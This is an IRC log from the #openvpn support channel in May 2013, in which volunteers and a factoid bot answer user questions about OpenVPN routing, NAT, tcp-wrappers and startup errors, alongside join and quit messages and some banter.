14:20 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:26 -!- xbanux [~xbanux@triband-mum-59.182.177.204.mtnl.net.in] has quit [Ping timeout: 264 seconds]
14:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
14:41 -!- kubbing [~kubbing@ip-78-102-124-93.net.upcbroadband.cz] has joined #openvpn
14:44 -!- tekzilla_ is now known as tekzilla
15:02 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Read error: Operation timed out]
15:02 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Read error: Operation timed out]
15:03 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
15:03 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
15:05 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
15:06 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
15:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:14 < druid> Je suis entrain de tenter de réinstaller un pc windows sous linux, ce pc fonctionne sans soucis sous windows, mais lorsque que lance in installer (arch, ubuntu, debian) depuis un cd ou une clé usb, l'écran se met en veille au bout de quelques minutes, alors que je suis entrain d'utiliser l'assistant d'installation et je ne peux pas l'en sortir. J'ai réinitialisé le bios, viré les barrettes d
15:15 < druid> e ram changé l'alim, débranché un max de trucs etc rien n'y fait... ca doit etre un probleme materiel, mais je ne comprends pas pourquoi ca fonctionnerait sous nux...
15:16 < EugeneKay> If you've reinstalled your OS and it's sitll broken, it probably wasn't the OS.
15:16 < EugeneKay> (sorry, my French was never that good)
15:16 <@novaflash> EugeneKay: you swear well
15:16 < EugeneKay> Fucking right
15:17 <@novaflash> i'll pardon your french
15:17 < pekster> I'm not sure what any of this has to do wtih the OpenVPN and Netfilter channels you just spammed that into on Freenode
15:23 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Quit: fremont linode upgrade woohoo]
15:33 -!- iliv [~iliv@5.248.193.99] has quit [Ping timeout: 248 seconds]
15:39 -!- JAVACODER [~JAVACODER@2.190.34.153] has quit [Ping timeout: 256 seconds]
15:52 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
16:11 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds]
16:12 -!- raidz_away [~raidz@46.28.203.186] has joined #openvpn
16:12 -!- raidz_away is now known as raidz
16:12 -!- raidz [~raidz@46.28.203.186] has quit [Changing host]
16:12 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
16:12 -!- mode/#openvpn [+o raidz] by ChanServ
16:17 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds]
16:21 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
16:21 -!- mattock_afk is now known as mattock
16:21 -!- mattock [~mattock@raidz.im] has quit [Changing host]
16:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
16:21 -!- mode/#openvpn [+o mattock] by ChanServ
16:23 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
17:03 -!- erre [~erre@148.85-86-200.dynamic.clientes.euskaltel.es] has quit [Quit: leaving]
17:11 -!- corretico [~luis@186.96.91.239] has quit [Read error: Connection reset by peer]
17:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:24 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 276 seconds]
17:30 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
17:38 -!- [fred] [~fred@konfuzi.us] has joined #openvpn
17:49 -!- [fred] [~fred@konfuzi.us] has quit [Remote host closed the connection]
17:55 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:57 -!- kubbing [~kubbing@ip-78-102-124-93.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
17:59 -!- [fred] [fred@konfuzi.us] has joined #openvpn
18:09 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:15 -!- corretico [~luis@186.96.91.239] has joined #openvpn
18:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Operation timed out]
18:28 -!- raidz_away [~raidz@46.28.203.186] has joined #openvpn
18:28 -!- raidz_away is now known as raidz
18:28 -!- raidz [~raidz@46.28.203.186] has quit [Changing host]
18:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
18:28 -!- mode/#openvpn [+o raidz] by ChanServ
18:50 -!- corretico [~luis@186.96.91.239] has quit [Read error: Connection reset by peer]
18:52 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
18:57 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
19:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
19:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:22 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:24 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Ping timeout: 264 seconds]
19:25 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:26 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
19:34 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
19:35 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
19:38 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
20:04 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
20:05 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
20:14 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
20:25 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
20:28 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:29 -!- Devastator- [~devas@186.214.14.172] has joined #openvpn
20:29 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
20:30 -!- Devastator- [~devas@186.214.14.172] has quit [Changing host]
20:30 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
20:30 -!- Devastator- is now known as Devastator
20:48 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
20:51 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
21:04 -!- master_o1_master [~master_of@p4FF24F37.dip0.t-ipconnect.de] has joined #openvpn
21:08 -!- master_of_master [~master_of@p4FF24513.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
21:24 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
21:24 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
21:30 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
21:38 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
21:54 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
22:37 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
23:16 -!- xbanux [~xbanux@triband-mum-59.182.179.152.mtnl.net.in] has joined #openvpn
23:21 < dimm0k> does openvpn support hosts.allow?
23:30 < pekster> No. OpenVPN is not set up or intendted to be run out of tcpd(8)
23:30 < pekster> If you want increased security, look at the --tls-auth option in addition to your X509 keypairs
23:31 < EugeneKay> I never understand hosts.allow when iptables exists
23:31 < EugeneKay> I mean, why bother
23:32 < pekster> Right, that too. Even the manpage dates itself by referencing gems such as telnet, ftp, rsh, and comsat
23:42 <+hazardous> what is rsh and comsat?
23:46 < pekster> 3-decade old remote login and email programs
23:46 < EugeneKay> rsh is worse than telnet
23:46 < pekster> Same era as finger and ident
23:46 < EugeneKay> I have no idea wtf comsat is
23:46 < EugeneKay> So it's THAT old.
23:46 < pekster> Think of the BBS days for a reference
23:47 < EugeneKay> On the bright side, this means tcpd is stable as shit
23:52 < pekster> And just as worthless as all those gopher sites on the web today; tcp-wrappers serves no sane purpose. http://xkcd.com/554/
23:52 <@vpnHelper> Title: xkcd: Not Enough Work (at xkcd.com)
23:56 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
--- Day changed Sun May 19 2013
00:00 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
00:09 <+hazardous> i'm not even 2 decades old
00:09 <+hazardous> i've never used a bbs :<
00:10 < EugeneKay> That's a good thing
00:10 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 248 seconds]
00:13 < Aketzu> I'm almost tempted to ask "How to use OpenVPN to secure dialup connection to a BBS" :)
00:17 <+hazardous> my first ever internet connection was ADSL
00:17 <+hazardous> i'm not sure what to feel about that
00:19 -!- chovy [~chovy@pdpc/supporter/active/chovy] has quit [Ping timeout: 264 seconds]
00:19 < pekster> Try a 56.6 kbps QoS rule and see how fun the Web is then ;). And that was if you were lucky enough to get "top speed" through the analog handshake (36.6 or 48.8 was often the best you got)
00:20 -!- chovy [~chovy@108-194-42-92.lightspeed.mtryca.sbcglobal.net] has joined #openvpn
00:20 -!- chovy [~chovy@108-194-42-92.lightspeed.mtryca.sbcglobal.net] has quit [Changing host]
00:20 -!- chovy [~chovy@pdpc/supporter/active/chovy] has joined #openvpn
00:21 < EugeneKay> I think the best actual throughput was 54
00:21 < EugeneKay> 53*
00:24 < pekster> V.90 has a link or 56,000bps
00:24 < pekster> So, I guess that'd be 56.0kbps on the dot
00:24 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
00:25 < pekster> But yea, practical throughput isn't the same (just like even a packet with 0 bytes of payload takes time on a link)
00:25 < pekster> link of*
00:32 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Read error: Connection reset by peer]
00:32 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
00:54 < EugeneKay> It was something with implementation
01:03 <+hazardous> i remember reaidng something about fcc rules and 52kbps or 53kbps
01:03 <+hazardous> i saw a k56flex(?) modem in an antique shop once lol
01:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:05 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
01:16 < EugeneKay> Sounds right
01:24 -!- JAVACODER [~JAVACODER@2.190.39.58] has joined #openvpn
01:31 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
01:55 -!- iliv [~iliv@5.248.193.99] has joined #openvpn
01:56 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
01:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
01:58 -!- JAVACODER [~JAVACODER@2.190.39.58] has quit [Ping timeout: 256 seconds]
02:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
02:15 < chovy> howdy
02:15 < chovy> I followed this guide, and am connecting with Tunnelblick, everything appears to work, but when I check my IP i'm browsing with, it is still my laptop's ip, not the vpn servers ip address.
02:15 < chovy> https://library.linode.com/networking/openvpn/debian-6-squeeze
02:15 <@vpnHelper> Title: Secure Communications with OpenVPN on Debian 6 (Squeeze) – Linode Library (at library.linode.com)
02:16 < pekster> Due to how incorrect arbitrary guides tend to be you'll find little support for them here
02:16 < pekster> !redirect
02:16 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
02:16 <@vpnHelper> http://ircpimps.org/redirect.png
02:16 < pekster> For a most basic guide to setting up your VPN setup, there's also !howto
02:16 -!- xBytez [~xbytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
02:17 < chovy> pekster: so then what's the point of what I just did?
02:17 < chovy> if it isn't redirecting?
02:17 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
02:17 < pekster> My psycic powers are lacking today; what did you learn from the info and flowchart you were listed?
02:18 <+hazardous> chovy: a vpn
02:19 < chovy> I didn't do this step: Tunnel All Connections through the VPN
02:19 <+hazardous> bringing up a vpn and sending traffic through that vpn are two different things, the latter of which is controlled by the client
02:19 < chovy> I guess that's my problem.
02:20 < pekster> Naturally that won't work if your server isn't set up to forward packets on the IP layer, or your firewall doesn't allow it, or you don't NAT if you're using private address space on the VPN side
02:20 < pekster> Hence the info and pretty flowchart
02:38 < chovy> I now get the following error
02:38 < chovy> dnsmasq: failed to bind listening socket for 127.0.0.1: Address already in use failed!
02:41 < pekster> Doesn't sound like an openvpn problem (although perhaps you're running a script from an openvpn hook that is otherwise invoking dnsmasq?)
03:07 -!- chovy [~chovy@pdpc/supporter/active/chovy] has quit [Ping timeout: 245 seconds]
03:09 -!- chovy [~chovy@pdpc/supporter/active/chovy] has joined #openvpn
03:19 -!- pagios [~pagios@46.19.194.96] has quit [Ping timeout: 245 seconds]
03:21 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
03:23 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Remote host closed the connection]
03:27 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
03:29 -!- chovy [~chovy@pdpc/supporter/active/chovy] has left #openvpn []
03:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:38 -!- lbft is now known as lbft-ragequit
03:40 -!- JAVACODER [~JAVACODER@2.190.39.58] has joined #openvpn
03:55 -!- Daemonik [~anon@cpe-76-174-55-2.socal.res.rr.com] has joined #openvpn
03:56 < Daemonik> I have an OpenVPN server on a network and the OpenVPN server is only allowed to have one local IP address on that network. Can I have packets sent through the VPN by clients have the same source address as the VPN gateway? Perhaps some NAT with iptables?
04:17 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:18 < EugeneKay> !redirect
04:18 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
04:18 <@vpnHelper> http://ircpimps.org/redirect.png
04:18 < EugeneKay> Daemonik - I'm guessing you mean "the vpn server" when you say "VPN gateway"
04:19 < Daemonik> EugeneKay: Yeah. redirect is not what I want, but thanks for the nifty diagram
04:19 < EugeneKay> The more important bit is the nat
04:19 < EugeneKay> Doesn't really matter what subnets the clients are routing via the vpn server
04:20 -!- kubbing [~kubbing@ip-78-102-124-93.net.upcbroadband.cz] has joined #openvpn
04:21 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
04:26 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
04:27 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
04:32 < Daemonik> Thank you EugeneKay
04:32 < Daemonik> You didn't help me in any way, but I appreciate that you responded LoL
04:57 < JAVACODER> any body have a free vpn account for me ?
04:58 < BtbN> wtf
04:58 < BtbN> he told you all you need to know...
04:59 < BtbN> btw., that ipv6 "route-ipv6 2000::/3" only destroys the route to the server if you are connecting via v6
05:00 < JAVACODER> any body have a free vpn account for me ?
05:14 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:19 -!- p3rror [~p3rror@41.140.159.128] has joined #openvpn
05:37 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:40 -!- kubbing [~kubbing@ip-78-102-124-93.net.upcbroadband.cz] has quit [Ping timeout: 276 seconds]
06:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:35 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
06:44 -!- xbanux [~xbanux@triband-mum-59.182.179.152.mtnl.net.in] has quit []
07:04 -!- p3rror [~p3rror@41.140.159.128] has quit [Ping timeout: 256 seconds]
07:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:08 -!- p3rror [~p3rror@41.248.144.203] has joined #openvpn
07:12 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 256 seconds]
07:24 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
07:30 -!- p3rror [~p3rror@41.248.144.203] has quit [Quit: Leaving]
07:32 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
07:33 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
07:36 -!- kubbing [~kubbing@ip-78-102-124-93.net.upcbroadband.cz] has joined #openvpn
07:37 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
07:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
08:29 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
08:29 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
08:33 -!- Daemonik [~anon@cpe-76-174-55-2.socal.res.rr.com] has quit [Remote host closed the connection]
08:40 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:45 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:21 -!- tekzilla [~jon@24.134.142.157] has quit [Remote host closed the connection]
09:40 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
09:53 -!- eennaam [~laptop@unaffiliated/eennaam] has joined #openvpn
09:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Write error: Connection reset by peer]
09:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
10:12 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
10:12 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:14 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
10:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:45 -!- forgotmynick [~Dementia@cpc49-pete9-2-0-cust192.4-4.cable.virginmedia.com] has joined #openvpn
10:45 < forgotmynick> hello
10:49 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 252 seconds]
10:50 -!- JAVACODER [~JAVACODER@2.190.39.58] has quit [Ping timeout: 256 seconds]
10:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:01 -!- eennaam [~laptop@unaffiliated/eennaam] has left #openvpn []
11:04 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:05 -!- mode/#openvpn [+v s7r] by ChanServ
11:15 -!- pjschmitt [~parker@209.141.56.12] has quit [Changing host]
11:15 -!- pjschmitt [~parker@unaffiliated/schmitt953] has joined #openvpn
11:15 -!- forgotmynick [~Dementia@cpc49-pete9-2-0-cust192.4-4.cable.virginmedia.com] has quit [Ping timeout: 252 seconds]
11:19 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
11:21 < xTz> hi
11:24 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 264 seconds]
11:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
11:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:40 -!- forgotmynick [~Dementia@cpc49-pete9-2-0-cust192.4-4.cable.virginmedia.com] has joined #openvpn
11:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:47 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
11:47 < Mike--> !welcome
11:47 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:47 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:48 < Mike--> !goal
11:48 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:48 < Mike--> ok
11:48 < Mike--> here goes
11:48 < Mike--> Hi guys
11:49 < Mike--> I have a openvpn server and a couple of clients
11:49 < Mike--> everything works fine
11:49 < Mike--> all is accessible
11:49 < Mike--> I however have this in my logs:
11:49 < Mike--> MULTI: bad source address from client [fe80::511e:f971:4438:bd74], packet dropped
11:49 < Mike--> now the openvpn server has no ipv6 enabled
11:49 < Mike--> how can I either ignore or block this from happening?
11:50 < Mike--> any help is really appreciated :)
12:25 < forgotmynick> Why am I getting a TCP/UDP: Socket bind failed on local address [AF_INET]172.18.100.100:1194: Cannot assign requested address ?
12:28 < forgotmynick> hashing out `local` solves this
12:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:39 -!- beboj [~beboj@c83-251-127-25.bredband.comhem.se] has joined #openvpn
12:39 < beboj> hi , does anybody use anonine on newest debian 7.0 ?
12:49 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
12:49 <@krzee> forgotmynick, either you arent on that ip address, or you have something running on that ip:port, such as openvpn already running
12:49 < forgotmynick> or it's a known bug ^^
12:49 <@krzee> lol no
12:50 <@krzee> Mike--, some app is sending traffic over the tunnel with that ip, find and stop the app doing it (or ignore it)
12:51 < rob0> or, firewall what goes into the tunnel
12:51 < forgotmynick> krzee https://bugs.launchpad.net/ubuntu/+source/openvpn/+bug/516016
12:51 <@vpnHelper> Title: Bug #516016 “[karmic] openvpn service starts before dhclient” : Bugs : “openvpn” package : Ubuntu (at bugs.launchpad.net)
12:52 <@krzee> oh you mean some bug in the ubuntu startup scripts?  take it to #ubuntu then
12:52 < forgotmynick> no
12:52 < forgotmynick> krzee
12:52 <@krzee> thats not the openvpn bug tracker
12:52 < forgotmynick> it's still a bug present when building from source, regardless of which distribution you use
12:52 <@krzee> and its talking about the ubuntu startup scripts
12:52 <@krzee> lol
12:52 < forgotmynick> i'm using debian
12:52 <@krzee> "openvpn service starts before dhclient"
12:52 <@krzee> you dont get what thats saying?
12:53 < forgotmynick> http://www.linuxquestions.org/questions/linux-server-73/openvpn-tun-tap-error-676712/
12:53 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
12:53 < forgotmynick> i could keep showing you but i have work to do
12:53 <@krzee> forgotmynick, instead of posting pointless links, do this:
12:53 <@krzee> ps auxw|grep vpn
12:53 <@krzee> and: ifconfig -a
12:54 <@krzee> pastebin the results of both
12:54 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
12:54 < forgotmynick> krzee why, i already said i solved the problem after i posted the question
12:54 < forgotmynick> [18:28] forgotmynick: hashing out `local` solves this
12:55 <@krzee> so you dont want help?
12:55 <@krzee> and there is no bug in --local, just in case you're wondering ;]
12:56 < rob0> A bug in a startup script has nothing to do with building from source. There is no startup script installed when installing from source.
12:57 < forgotmynick> you're misunderstanding it
12:58 <@krzee> no, you are :D
12:58 < forgotmynick> ok(!)
12:58 <@krzee> you did read everything you just posted to us, right?
12:58 <@krzee> cause it clearly points to what we just said
12:58 <@krzee> (not openvpn)
12:58 < rob0> My startup script has no such bug.
12:59 <@krzee> nor do any of my linux boxen
12:59 <@krzee> and they do use --local
12:59 <@krzee> and linking us to a forum post from 5 years ago is kinda lulzy
13:00 < rob0> I have no idea why anyone would want to start openvpn before a DHCP client.
13:00 < rob0> oh, maybe bridging, I guess ...
13:00 < rob0> but there too, you have to get to the Internet before you get to the remote DHCP server
13:00 <@krzee> still doesnt make sense
13:00 <@krzee> right
13:13 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
13:28 -!- beboj_ [~beboj@m83-180-190-66.cust.tele2.se] has joined #openvpn
13:28 < beboj_> !welcome
13:28 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
13:28 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:34 < beboj_> !goal
13:34 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:35 < beboj_> !howto
13:35 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:35 < beboj_> !configs
13:35 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:37 -!- kubbing [~kubbing@ip-78-102-124-93.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:37 -!- kubbing [~kubbing@ip-78-102-124-93.net.upcbroadband.cz] has joined #openvpn
13:41 -!- Dennis84_ [~dennis@mail.it-moebius.de] has quit [Remote host closed the connection]
13:42 -!- ghyth [~simple@92.96.125.192] has joined #openvpn
13:43 < ghyth> is there any files I can download for privatetunnel configuration on linux ?
13:44 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
13:48 < rob0> privatetunnel is what? Is it openvpn?
13:49 < ghyth> rob0, I bough the service thru openvpn website
13:49 < ghyth> I think it was an ads
13:52 < rob0> oh. This channel is for support of the GPL openvpn project. We are not the company. (Although occasionally you will see company people here.)
13:52 < ghyth> :( I hope I don't need to create the files manually again
13:54 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 246 seconds]
13:56 -!- Devastator- [~devas@177.18.199.137] has joined #openvpn
13:57 -!- Devastator- [~devas@177.18.199.137] has quit [Changing host]
13:57 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
13:57 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
13:59 -!- forgotmynick [~Dementia@cpc49-pete9-2-0-cust192.4-4.cable.virginmedia.com] has quit [Ping timeout: 252 seconds]
14:05 < pekster> As far as the open-source hackers who hang out here are concerned, it's "just another provider"
14:05 < pekster> !provider
14:05 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
14:05 < pekster> I'd guess they have support contact details under the section of the site detailing their offerings, but I've never looked
14:07 < rob0> !privatetunnel
14:07 <@vpnHelper> "privatetunnel" is go to support@privatetunnel.com for support!
14:07 < rob0> aha!
14:07 < rob0> bot > *
14:07 -!- vpopov [~happylife@dyn-176-166.fttb.kis.ru] has joined #openvpn
14:09 -!- beboj_ [~beboj@m83-180-190-66.cust.tele2.se] has quit [Ping timeout: 245 seconds]
14:15 -!- beboj_ [~beboj@m83-180-191-238.cust.tele2.se] has joined #openvpn
14:51 < beboj_> I have problem  with my vpn , using anonine config files seems Im connecting to the service , but I dont have internet connection at all (sorry for my bad english) this is my pastebin - http://pastebin.com/HJY69RAV when I try to connect. I did following steps: Command-line based start:
